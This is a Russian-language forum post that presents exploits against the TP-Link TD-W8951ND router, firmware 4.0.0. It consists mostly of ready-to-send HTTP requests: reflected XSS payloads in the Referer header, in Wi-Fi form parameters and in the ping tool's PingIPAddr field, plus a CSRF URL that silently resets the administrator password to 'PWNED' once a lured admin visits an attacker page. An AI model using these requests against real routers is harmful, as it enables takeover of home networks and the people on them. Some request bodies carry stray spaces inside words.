Взлом TP LINK роутера используя XSS-уязвимость

Dmitrich

Участник
Регистрация
04.04.2013
Сообщения
13
Реакции
6

EXPLOIT
Первая — отраженная XSS-уязвимость для неавторизованных пользователей в поле Referer при обращении к несуществующим URL-адресам на роутере.
Пример запроса:

PHP:

GET /doesnotexist HTTP/1.1
Host: 192.168.1.1
Referer: http://pwned" <script alert("XSS")</script
Connection: keep-alive

Вторая — тоже отраженная XSS-уязвимость, но уже для авторизованных. Она нашлась в различных аргументах Wi-Fi-сети, поддерживаемой устройством. Ниже представлены примеры для сети с именем home_wlan_1:

PHP:

http://<IP /Forms/home_wlan_1?wlanWEBFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://<IP /Forms/home_wlan_1?AccessFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://<IP /Forms/home_wlan_1?wlan_APenable=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

Следующая уязвимость также доступна только для авторизованных пользователей, но уже в одной из диагностических команд — ping — на странице /Forms/tools_test_1 в аргументе PingIPAddr. Пример запроса:

PHP:

POST /Forms/tools_test_1 HTTP/1.1
Host: <IP
Referer: http://<IP /maintenance/tools_test.htm
Authorization: Basic blablabla==
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
Test_PVC=PVC0&PingIPAddr=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&pingfl ag=1&trace_open_fl ag=0&InfoDisplay=Ping+request+could+not+fi nd+host+

Что касается CSRF-уязвимости, то она позволяет сбросить пароль администратора. Для атаки нужно создать HTML-страницу, которая отправит следующий запрос:

PHP:

http://<IP /Forms/tools_admin_1?uiViewTools_Password=PWNED&uiViewTools_PasswordConfi rm=PWNED

Чаще всего устройства этой компании имеют IP-адрес 192.168.1.1. Далее злоумышленник завлекает администратора устройства на его атакующую страницу. После чего паролем станет слово PWNED.

TARGETS
Протестировано на TP-Link TD-W8951ND Firmware 4.0.0 Build 120607Rel.30923.

© cryptoworld
 
Сверху